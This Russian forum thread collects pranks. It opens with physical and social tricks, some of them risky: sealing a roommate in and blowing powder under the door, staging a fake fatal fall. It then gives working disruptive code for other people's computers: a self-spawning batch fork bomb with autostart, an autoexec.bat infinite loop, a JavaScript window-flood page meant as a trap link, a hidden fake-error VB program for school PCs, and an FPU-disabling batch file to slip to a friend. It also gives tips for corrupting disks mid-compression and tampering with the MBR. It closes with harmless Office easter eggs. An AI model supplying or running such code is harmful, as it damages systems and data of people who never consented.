Западлостроение, розыгрыши, приколы и пр.

[Ronaldinio]

1. Розыгрыш с яйцом. "Открыть любую дверь. Нужно, чтобы между дверью и косяком, там где петли, можно было просунуть пальцы. Заранее приготовить сырое куриное яйцо. Требуется уговорить "объект" просунуть пальцы в щель и взять ими яйцо. Хорошо, если яйцо будет располагаться с внутренней стороны, и это будет комната "объекта". Яйцо вручить и уйти:.."

2. Розыгрыш с табличками. "В учреждении, где много посетителей, разместить табличку с указанием туалета на двери совершенно другого помещения. Желательно, чтобы работники, находящиеся в этом помещении, как можно реже выходили наружу - так дольше провесит Ваша табличка, и тем дольше работники будут наблюдать стремительно забегающих, столбенеющих и выбегающих людей. Особенно, если поместить указатель женского туалета. Можно изготовить несколько стрелок указателей, чтобы люди находили дорогу к псевдотуалету. Можно вместо надписи "туалет" использовать надпись "буфет" - работникам придётся очень много раз объяснять, что тут не буфет, а например, лаборантская."

3. Розыгрыш с верёвкой. "Взять длинную верёвку и найти небольшой отдельно стоящий дом. Проходящего мимо человека попросить под любым предлогом подержать конец верёвки. С другим концом верёвки отправиться вокруг дома и, обойдя почти полностью, попросить другого человека подержать уже этот конец верёвки. Верёвку попросить сильно натянуть и уйти. Что получается? Эти люди друг друга не видят , им мешает угол ( вы видите их обоих ), и верёвку они бросить не могут - ведь их попросили подержать. Чем это кончится? Попробуйте, узнаете."

4. Розыгрыш по телефону. "Допустим, в Вашем коллективе появилась новая молоденькая секретарша. Зрители, посвящённые в розыгрыш, наблюдают за её поведением. Кто-либо из соседней комнаты звонит секретарю и как можно более серьёзным голосом сообщает о том, что звонят с телефонной станции, и сейчас в целях очистки проводов по телефонному каналу будет подан горячий пар под давлением. Поэтому нужно очень быстро закутать все телефонные трубки в офисе полиэтиленом или бумагой (или положить их на пол). Все сидят и смотрят: Самое главное - произнести это серьёзно и быстро. Ну и секретарша должна быть достаточно доверчивой."

5. Розыгрыш с "манекеном". "Выбрать "объект" розыгрыша. Это может быть сосед или соседка по комнате или кабинету. Комната должна находиться минимум на 2 этаже. На глазах "объекта" необходимо некоторое время просидеть у открытого окна на подоконнике. В какой-то момент, когда "объект" не смотрит на вас, вы должны спрятаться или бесшумно покинуть комнату. Одновременно с этим ваш помощник на улице под окном выкладывает чучело - одежда как у вас набита бумагой для объёма (яркая майка и т.д.) - и фанеру под цвет асфальта с нарисованным пятном "крови". Затем он кричит ваше имя со словами : "Разбился, разбился, помогите::.". Помощник, находящийся в комнате, и "объект" подбегают к окну и видят ваше тело на асфальте. Помощник предлагает спуститься и помочь вам, если это ещё возможно. Когда они убегают, вы возвращаетесь в комнату на своё место и сидите как ни в чём не бывало. Пока "объект" бежит вниз, "тело" и фанера убираются. "Объект" ничего не понимает. Помощник говорит, что тело, наверное, уже убрали. Они возвращаются в комнату, и "объект" видит вас - немая сцена::.."

[Ronaldinio]

6. Розыгрыш с сухим льдом. "Взять тазик горячей воды, вылить туда бутылку шампуни и бросить сухой лёд. Сам не пробовал, но говорят пены очень, очень, очень много - может заполнить и комнату вашего соседа. Представляете картину?"

7. Розыгрыш с присыпкой. "Ваш сосед находится в комнате. Временно заблокировать его дверь так, чтобы он не смог выйти. Заполнить трубку подходящего размера детской присыпкой. Один конец трубки подставить под дверь или к щели в косяке, а другой подставить к фену. Фен включить, и полная комната присыпки готова."

8. Розыгрыш с кроватью. "В общежитии или в казарме. Пока человек спит вынести его на кровати в туалет. По команде "подъём" он вскакивает, а вокруг одни унитазы: И одежды нет."

9. Розыгрыш со снежком. "Скатать огромный снежок и с помощью помощников на простыне затащить в комнату (кабинет) "объекта" незадолго до его прихода. Вытащить снежок целиком он не сможет, а снежок-то тает:.."

10. Розыгрыш в метро. "Группа людей заходят в один вагон метрополитена. Все заходят так, чтобы никто не заподозрил что они вместе. Через какое-то время, как поезд отъедет от станции, один из вошедших подходит к кнопке связи с машинистом, делает вид что нажимает ее и говорит так, чтобы слышало как можно больше народу: "Гамбургер и большую Кока-колу в вагон номер ____ " (номер вагона написан рядом с кнопкой). Сказав это, он просто становится и ждет следующей станции. На следующей станции в этот вагон заходит еще один человек (желательно в майке или кепке Кока-кола) и спрашивает громко: "Кто заказывал гамбургер и Кока-колу". Тот человек, который заказывал, подходит, забирает "заказ", быстро рассчитывается и едет дальше. Тот, который принес заказ, должен успеть выйти на этой станции. Поезд трогается. Человек снова подходит к кнопке и говорит: "До конечной без остановки". Реакция у пассажиров просто неописуемая."

11. Розыгрыш "Тест на трезвость". "Вот один старый простенький розыгрыш. Возвращаясь в компании домой после вечеринки (желательно на людной улице), заводится спор - кто из членов компании наиболее трезв. Выбранной жертве розыгрыша предлагается сделать ровную (надо подчеркнуть, что РОВНУЮ) ласточку (надеюсь, что это за фигура - понятно). После того, как жертва старательно сделает то, что от нее требуют, нужно объявить, что он (она) абсолютно пьян. В ответ на недоуменные восклицания жертвы объясните, что трезвый человек никогда не станет делать такое в людном месте. Сам я много раз проводил этот розыгрыш и только один раз объект розыгрыша смертельно обиделся - в компании была девушка, на которую тот хотел произвести впечатление. Произвел, конечно".

12. Розыгрыш с дрелью. "Значит так: Ищем объект для прикола, берем электродрель и пару раз запускаем ее на глазах у объекта, дабы привлечь его внимание... Потом заходим за спину, пускаем электродрель и тыкаем пальцем в спину объекту... Когда мне такое сделали, я сначала прыгнул метра на 2, потом минут 30 отходил "

13. Розыгрыш с кастрюлей В кастрюльку наливается вода, закрывается сверху листом бумаги, переворачивается вверх дном, ставится на ровный пол или даже лучше стол, бумага вытаскивается. Вода не вытекает. Жертва видит бесхозную (мешающую) кастрюлю и поднимает с понятным результатом. В качестве варианта вместо кастрюли берется стеклянная банка литра на 3-5 и ставится там, где это помешает потенциальной жертве, которая видит воду и просто приходится ломать голову как обойтись с наименьшими жертвами. При этом наиболее сложно убрать с пола. Насчет приклеивания тапочек к полу, коврику, пришивания одеяла к матрасу у спящего товарища я и не говорю. Как-то упустил офисный вариант - принцип тот же, но, например, с непрозрачным стаканчиком и на стол любимой секретарше

[Ronaldinio]

14. Розыгрыш с кабачковой икрой Группа пеших туристов останавливается на обед. В это время инструктор уходит метров на 500 вперед по тропе и вываливает на пути группы на землю банку кабачковой икры, налепив на нее клочки туалетной бумаги. Группа, отдохнув, выходит на маршрут. Инструктор идет не впереди, а где-то в серединке. Когда впередиидущие брезгливо переступают через эту кучку, инструктор расталкивая клиентов, с воплем СВЕЖАТИНА!!!!!!!! вытаскивает ложку и, разбросав бумажки начинает кушать. Эффект поразителен.

15. Воспитательный розыгрыш. Значит так, выбираем человека, который находится постоянно рядом с вами (жена, муж, брат, сестра, тесть, теща, отец, мать и т.д.). Обязательным условием является рассеянность этого человека. То есть, он является превосходным кандидатом для розыгрыша, если постоянно забывает в самых неожиданных местах свои мелкие вещи -- очки, заколки, перчатки, расчески и т.д. Естественно, что очень часто он их разыскивает и всех окружающих донимает вопросами типа "вы не видели мои очки (кошелек, ключи, ...) ?". Вот тут-то вы, как добрый самаритянин, и советуете ему заглянуть в какое-нибудь самое неподходящее для розысков место. Я, например, советую заглянуть в морозилку Естественно, что "жертва" понимает, что над ней прикалываются и не внимает вашим советам. Но после десятка таких прецедентов эта фраза уже врезается ей в память, и, когда все места обысканы, а потерянная вещь так и не найдена, то начинает заглядывать и в холодильник. И вот только после этого можно считать, что фундамент для прикола подготовлен и можно начинать свой прикол. Как только вы обнаруживаете забытую в неподходящем месте вещь "жертвы", вы берете и кладете эту вещь туда, где вы советовали ее искать. Рано или поздно "жертва" начинает розыски и, о чудо, она находит ее именно там, где вы ее и положили Естественно, не понимая как эта вещь там оказалась, "жертва" в конце концов начинает все розыски именно с этого места. Теперь представьте реакцию окружающих, наблюдающих как "жертва" в поисках потерянной расчески роется в холодильнике... Как вариант, эту вещь могут обнаружить другие люди и, абсолютно недоумевая как она могла ТАМ очутиться, вернуть ее "жертве" со словами типа "ну ты даешь... Положительный эффект от этого прикола состоит в том, что рано или поздно "жертва" начинает следить за своими вещами и не оставляет их в случайных местах.

16. С хлопушкой. "В детстве с друзьями мы разыгрывали соседей так. Привязывали хлопушку к перилам и дверной ручке и звонили в дверь. Результат можно наблюдать в дверной глазок - только не лопните от смеха, чтобы не попасться. Как правило, соседи в течении часа или двух после этого затаившись стоят за дверью и через каждые пять минут выбегают во двор в надежде поймать шутников."

17. С ниткой В кровать жертвы под простыню зигзагообразным методом укладывается нитка. Другой конец протягивается за дверь так, чтобы при натяжении нитка не поднималась и ее не было видно. Когда вечером жертва ложится в кровать, нитка потихоньку вытаскивается (ощущение шевелящегося насекомого)

18. Розыгрыш с брюками "Мою подругу попросил один знакомый подшить джинсы ( достаточно дорогие ). И т.к. подшивать надо было много ( он маленький и толстенький ), он попросил лишнюю ткань отрезать. Замерили они вместе сколько укорачивать, и моя подруга пошла к себе домой обрезать и подшивать. На следующий день я и моя подруга вместе с укороченными джинсами пошли к этому товарищу. Пришли, отдали джинсы и попросили сразу померить. Этот товарищ уходит в соседнюю комнату, одевает там джинсы и через некоторое время возвращается в страшном смятении. Оказывается, обе штанины короче чем надо см. на 20: получились эдакие бриджи. Моя подруга, когда видит это, падает на диван в предобмарочном состоянии - штаны она испортила, а ей на такие и за два месяца не заработать. И вдруг я вижу, что этот друг начинает смеяться - оказывается он просто загнул внутрь штанины. Над нами он, конечно, подшутил, но теперь моя подруга у него даже носовой платок подшить не возьмёт. И вообще она при слове "подшить" вздрагивать стала."

19. Телефон под током " Звонишь кому-нибудь и просишь, что бы не отвечали на телефонные звонки в течении 10 мин, т.к. на линии работает телефонист и его может ударить током. Через несколько минут перезваниваешь по этому же номеру , и если поднимают трубку, издайте душераздирающий вопль..."

20. Розыгрыш со спичками В бесснежное время года, в тесной компании (лучше, если эту шутку знает как можно меньше народу) выбрать жертву. Поставить ее посередине чего-либо (комнаты, кухни, сарая, лесной поляны, озера - где собственно все и собрались). Попросить вытянуть вперед руки, и в каждую руку, между большим и указательным пальцем дать по спичке головкой вниз. А потом еще по одной спичке положить под носок ботинка или туфельки таким образом, чтобы больше половины спички торчало вперед. И спросить: - Какой сейчас месяц? - ........ - бодро ответит жертва. - А почему ты на лыжах????? Эффект просто поразительный!!!! Несколько минут смеха обеспечено!

[Unforg1ven]

ГЫ.... а потом жалуемся на слабое сердце =)))

[maskman]

Себе такого не пожелаешь... но для других, всегда пожалуйста!!!!

[dr-evil]

веселуха... типа круто. Попробовать надо будет ...

[maskman]

ПЕРВАЯ БРАЧНАЯ НОЧЬ
"Этот розыгрыш годится как для трезвой, а лучше не совсем трезвой компании.
Инициатор конкурса предлагает кому либо из присутствующих проверить
координацию (степень опьянения, глазомер и т.д.). На листе бумаги ставятся
пять точек , образующих квадрат с точкой внутри (примерно, как сложенный по
чтовый конверт). Лист ложится на стол, напротив ставится зеркало , и
подопытному предлагается, глядя на отражение листа в зеркале, соединить все
точки между собой, по возможности не разорвав линию (это не так просто, как
вы думаете, даже трезвому ). Чтобы жертва эксперимента не подсматривала,
кто-либо из зрителей закрывает листом бумаги сам рисунок так, чтобы было
видно только отражение. В процессе рисования жертва честно старается
провести линии поровнее и издает самые разнообразные звуки,
свидетельствующие о трудности задания типа: "Не попал..., Опять не попал...
Чего ржете, сами попробуйте..., Трудно, вспотел даже ...и т.д.". Задача
ведущего записать все фразы, слова, предложения и звуки, которые издает
испытуемый, и по окончании зачитать все вслух под заголовком "Как И.
(испытуемый) провел первую брачную ночь". Обычно все заканчивается всеобщим
посмешищем, после чего ищется очередной доброволец, а количество зрителей
увеличивается на 1. А так как зрители уже в курсе дела, то каждая фраза
нового добровольца приветствуется всеобщим ржанием.
p.s. Бывает ТАКОЕ услышишь ;-)"

[Nymph]

В этом топике выкладываются в виде аттачей либо советов всевозможные шутки, приколы, розыгрыши и т.п. которые могут помочь поднять настроения Вам и Вашим коллегам по работе, знакомым, крутым доморещенным кулхацкерам и прочей публике постоянно ошивающейся у компа!

Внимание:
Вся информация выкладывемая в этом топике не должна реально угрожать работоспособности и информации хранящейся на компутере! Либо при выкладывании подобных советов, прог, etc, необходимо предупреждать о возможном вреде и по возможности указывать способы избавления в случае их НЕочевидности!!!

[Nymph]

По утверждению автора, после импорта данного reg файла комп может быть выключен только посредством кнопки Reset ))
Сам не пробовал, ничего не обещаю...

ЗЫ Для нормальной работы под 98/Ме исправьте путь:
[HKEY_CURRENT_USER\Software\Microsoft\windows\
CurrentVersion\Policies\Explorer]

Пасибо Маску )

[Nymph]

Так вот, рекурсия - это когда кто-нибудь вызывает сам себя. Например: запускаешь две Аськи у себя на компе (русскую и английскую, чтобы друг друга не видели) и начинаешь сам себе мессаги слать. Но я не о том. Ты, конечно же, знаешь, что всеми любимый MustDie очень требователен к железу (и вообще к ресурсам компа), так вот, используя рекурсию, мы поставим MD на колени.

1. Ну, для разминочки делаем на винте файл с именем "die.bat" и пишем в него следующие пять строчек:

@echo off

:metka

@start die.bat

@echo -----NAME RULEZZZzzz FOREVER-----

@goto metka

Где NAME - это твое имя. Хочешь посмотреть, что будет? Мой тебе совет, перед запуском этого файла сохрани все важные документы, а то, не дай Гейтс, все сотрешь. И еще, если скопировать этот файл в каталог Форточек и в файле "win.ini", в самом начале, после строчки "[windows]", написать команду "run=die.bat", то этот файл будет загружаться при каждом запуске Форточек.

2. Если добавить пару строчек в этот файлик:

@echo off

@echo -----NAME RULEZZZzzz FOREVER-----

@echo @echo off >> c:\autoexec.bat

@echo :metka >> c:\autoexec.bat

@echo @start c:\autoexec.bat >> c:\autoexec.bat

@echo @goto metka >> c:\autoexec.bat

И запустить его, то после перезагрузки компа ты больше никогда не кликнешь на этой прекрасной кнопке "Пуск" и не подвинешь курсор мыши к кнопке закрытия окна...

3. Но это все отстой! Попробуй-ка это:

<script> </p>
<p>now(); </p>
<p>function now(){for (i=1;i>0;i++){open('die.htm','new'+i);}} </p>
<p></script>

Сохрани эту чушь под именем "die.htm" и посмотри, как корчится твой броузер, пытаясь открыть очередное окно . Кстати, если у тебя есть своя страничка в инете, можешь прикольнуться написав чего-нибудь типа "ПОСТОРОННИМ ВХОД ВОСПРЕЩЕН" и поставив ссылку на этот файл. Любопытный юзверь ломанется туда, а там опа... и все...


ПыСы: Не помню кто писал и откуда взято, но также сам не пробовал... ОС 9х/Ме

[Alrt]

Прикольно, попробую обязательно (на работе).Гы

[Nymph]

Mетод нумбер один - программный:

Если на экране появляется мессага с предупреждением и непонятными символами, то глупый юзверь думает, что винды глючат
Пишем маленькую прогу на VB, так как VB стоит почти во всех универах на всех компах. Ибо VB помогает познать глючный и тормозной мир виндов

Private Sub UserForm_Activate()
10 MsgBox ("CPU Fatal Error!"), vbCritical
goto 10
End Sub

Просто и коварно одновременно если кинешь ты енту прогу в автозагрузку или писанешь в реестр. Вешаешь прогу в библиотеке или в компутерном классе и через пару дней они завоют, Я тебе обещаю и позовут сисадмина, который это удалит. Надо позаботиться теперь о ламеростойкости нашей проги. Не забудь убрать ее из панели задач. Для этого в свойствах формы поставь ShowInTaskBar = False и спрячь форму. Для этого в свойствах формы измени Form.Visible = True на False.

Метод нумбер два - да поможет нам винда!
Лезем в Internet Options и там мы делаем следующее:

1. В последней закладке все делаем наоборот, т.е., где галочка там не галочка, а где не галочка там галочка . Или делаем, чтоб не грузились картинки, нечего на порнуху глазеть ламухам.
2. Можешь сменить адрес вашего прокси и, когда ламухи обломаются и разбегутся, спокойно сядь за пустой комп, смени проксю назад и спокойно лезь в инет.
3. На загрузку в браузере поставь сайт с реальной порнухой можно не с людьми
4. Просто удали Експлорер.
Предупреждение! Не переборщи и не комбинируй методы.

[Alrt]

Nymph
Ты прям диверсант какой-то, ;-)))

[maskman]

Nymph
Жестоко.... но весело )))))

[Nymph]

1) Всё начинается как всегда с HKEY_LOCAL_MACHINE/System/CurrentControlSet/control/Shutdown вы, наверно, уже поняли, о чем будет разговор.

Конечно, все связанное с выключением нашей железяки (гы-гы-гы) в строковом параметре FastReboot стоит значение "0". Ну не долго думая, меняем его на "1" и получаем интересную историю. Когда мы будем делать компутеру Shut Down :o (в переводе с буржуйского - СПАТЬ!!!), он будет перезагружаться.


2) Если у вас стоит Win98, то екстрактаете RESTART.COM из c:\_windir_\command\ebd.cab\ и ставите его первой строкой в AUTOEXECе, после чего делаете его READ ONLY


3) Записываем прогу в MBR, ставим jmp на конец придельно допустимого сигмента памяти в досе, и ваш компьютер даже после формата винта будет перегружаться пожизненно... !!!


4) В system.ini в строчке mouse.drv=mouse.drv удаляем вторую половину и оставляем вот так mouse.drv= Эффект тот же ShutDown. Но гораздо злее.......... Под вынь98 работает безотказно.


5) Прикол с винтом. Во многих школах обычно стоят древние компы с Windows 95 (Fat-16). Соответственно грех этим не воспользоваться . Для западла понадобится только встроенная программа форточки DriveSpace ("Сжатие диска"). Запускаешь это прогу на уплотнение диска. А когда процесс уплотнения будет в разгаре, просто ненавязчиво ткни на Reset . Долгий полет винта обеспечен ).


6) Шутка с ресетом неплохая, но не всегда срабатывает. Для профилактики надо во время процесса достать шнур из розетки, выключить комп, затем вставить и включить. Эффект тот же, что и выключенного компа при формате.


7) Во время оптимизации реестра под досом нажать RESET - эффект такой-жа, тока возни потом больше. З.Ы. проверено электроникой

[Nymph]

Не каждому ламеру известно, что у него в компе есть математический сопроцессор (FPU). Эта хрень отвечает за выполнение операций с плавающей точкой. Не вдаваясь в подробности, скажу, что если FPU отключить твоему заклятому другу (или себе, если ты мазохист), то он получит незабываемые ощущения, а теперь конкретнее: в Win95 - иногда вылетает синий экран с сообщениями об ошибках; игры тормозят зверски (особенно 3D); DOS проги не запускаются вообще; эффекты такие, будто частота проца уменьшилась в два раза, в общем глюки . В Win98 - все тоже самое, но нет синих экранов .

Как это делается? Есть два пути:

1) Изменяем параметры в Панель управления -> Система -> Сопроцессор -> Включаем режим "не использовать". Но это гиморно и не по-хацкерски .

2) Помещаем в System.ini строчки:

[MathCoprocessor]
FPUFlags=2

3) А теперь чиста хацкерский вариант . Пишем батник и подсовываем его другу:

@echo off
ren %windir%\system.ini s
echo [MathCoprocessor] > %windir%\y
echo FPUFlags=2 >> %windir%\y
echo >> %windir%\y
copy %windir%\y /a +%windir%\s /a %windir%\system.ini > nul
del %windir%\s
del %windir%\y

Обязательно останься и посмотри, как твой друг будет радоваться ускорению работы компа .

[Nymph]

1) Классический прикол, срабатывающий на тех, кто уже знает кнопку "Пуск" ("Start"), но не знает всех особенностей Windows 95...
Когда этот самый новичок в мире Windows 95 на минуту уйдет в другую комнату, вы быстро подбегаете к его компьютеру, выделяете (но не нажимаете) кнопку "Пуск", жмете ALT +"минус" и... "Закрыть". Дальше вы возвращаетесь на исходную позицию, и наблюдаете за реакцией новичка... Кнопка вернется на место только после перезагрузки Windows'a.


2) Далее следует прикол, более сложный в исполнении:
На рабочем столе создайте папку с именем New Folder. Переименуйте ее в and now, the moment you've been all waiting for. Еще раз переименуйте ее в we proudly present for your viewing pleasure.
И снова переименуйте в The Microsoft Windows 95 Product Team!. Теперь откройте папку и наслаждайтесь именами тех, кто создал "сверх устойчивую систему". По моему, стабильность системы прямо пропорциональна количеству приколов, намертво вшитих в нее.

3) Неплохо работала фантазия и у тех, кто создавал хранители экрана для Windows 95 и NT. В основном приколы зарыты в хранителе экрана "Объемный текст" ("3D text"):
В зависимости от версии Windows 3D Text реагирует на следующие "волшебные" слова, заданные в качестве текста для отображения: I love NT (в версии 3.51), not evil (в версии 4.0), volcano (Windows 95 и NT), BEER и Rock (в версии 3.51).

4) Но есть прикол и для хранителя экрана под названием "Трубопровод":
Если для Windows NT в этом хранителе экрана задать параметр "чередующиеся сочленения", то переодически вместо соединения будет появляться чайник. Интересно, к чему бы это?

В Windows 95 этот трюк тоже проходит, если помимо "чередующегося сочленения" поставить параметр "число труб" в значение "несколько".

[Nymph]

Microsoft Office

Панель Mocrosoft Office 95:

Установите стрелку курсора на маленький логотип в верхнем левом углу и нажмите правую кнопку мышы. В появившемся меню выберете "О панели Microsoft Office". На экране появится окошко с информацией о лицензии на продукт. Удерживая CTRL и SHIFT, дважды щелкните по логотипу. Щелкните еще раз по появившейся заставке, и обратите внимание на изменения регистрационных данных.

В Office 97 выше описанное не срабатывает. Видимо, программеры занялись более интересными приколами...

2) В Word 95 создайте новый документ и наберите в нем слово "Blue", теперь измените шрифт этого слова на полужирный и синий. Выделите пробел после набранного слова, в меню справки войдите в пункт "О Программе" и щелкните левой кнопкой мыши по логотипу в открывшимся окне.
В Word 97 это тоже срабатывает, но вызывает более крутой эффект. Но для этого требуется установленный DirectX.

3) В новом документе напечатайте =rand() и следуйте дальнейшим указаниям

4) Есть в Word 97 и пикантная шутка:
Наберите в документе слово zzzz и нажмите пробел. Слово, естественно, подчеркнется красной волнистой линией. Теперь нажмите на правую кнопку мыши и посмотрите на предлагаемую замену.

[Nymph]

1) В Excel 95 создайте новую таблицу, перейдите на 95-ю строку, выделите ее и нажмите Tab. В меню "помощь" войдите в пункт "О программе", и удерживая CTRL и SHIFT, щелкните по кнопке "Поддержка".
ДОБРО ПОЖАЛОВАТЬ В MICROSOFT DOOM!

2) Есть слово-ключ, открывающий стену. Это слово - EXCELKFA.

3) В Excel 97 тоже не обошлось без фокусов. Итак, в чистой таблице нажмите клавишу F5, введите в строку ссылки значение x97:l97 и нажмите Enter. Теперь нажмите клавишу Tab и, удерживая CTRL и SHIFT щелкните по пиктограмме "мастер диаграмм".

4) В Excel 5.0 для знакомства с разработчиками нужно проделать следующие операции:

1. Сразу после запуска программы установить стрелку курсора на свободное место инструментальной
панели (Toolbar) и, щелкнув правой кнопкой мыши, выбрать пункт меню. Настройка..
2. Выбрать из списка категорий .Пользовательские. и перетащить пиктограмму с изображением карточной колоды в любую ячейку таблицы.
3. Отказаться от назначения макроса, закрыв возникшую диалоговую панель с помощью кнопки .Отмена. (Cancel).
4. Закрыть диалог настроек.
5. Удерживая клавиши <Ctrl>, <Alt> и < Shift>, щелкнуть левой кнопкой мыши по вставленной пиктограмме.

[Nymph]

Перейдем к Microsoft Access...

1) Запустите Microsoft Access 95 или 97 и создайте новую базу данных. Выберите закладку "Макросы" и щелкните по кнопке "Создать", далее нажмите на клавишу "пробел" и закройте окно. На запрос о сохранении макроса ответьте утвердительно, назвав его "Magic Eight Ball".
Из ниспадающего меню "Вид" выберите пункт "Панель инструментов", а затем "Настройка". В появившейся диалоговой панели перейдите
к закладке "Команды" и выберите из списка категорий строку "Все макросы". В соседнем окошке появится название вашей макрокоманды. Перетащите ее на инстру ментальную панель Access. Не закрывая панели настроек, щелкните правой кнопкой мыши на вновь появившейся в панели инструментов пиктограмме, а затем на команде меню "Выбрать значок для кнопки". Из предложенной палитры изображений следует выбрать черный шар с цифрой "8". Закройте панель настроек. Предельно сконцентрируйтесь и мысленно пошлите компьютеру вопрос, который вас больше всего волнует в настоящий момент. Щелкните по
пиктограмме с волшебным шаром, и вы получите исчерпывающий ответ.


2) Следующей на очереди стоит программа подготовки презентаций Microsoft PowerPoint.

В обеих версиях - 95 и 97 - увидеть титры предельно просто. Для этого достаточно, выбрав из меню помощи пункт "О программе", щелкнуть левой кнопкой мыши по логотипу, находящемуся в верхнем левом углу. Вот так, простенько и со вкусом, ибо в оформлении этой встроенной .презентации. явно
чувствуется рука профессионального дизайнера. Кстати, с помощью клавиш управления курсором можно менять скорость прокрутки и размер надписей.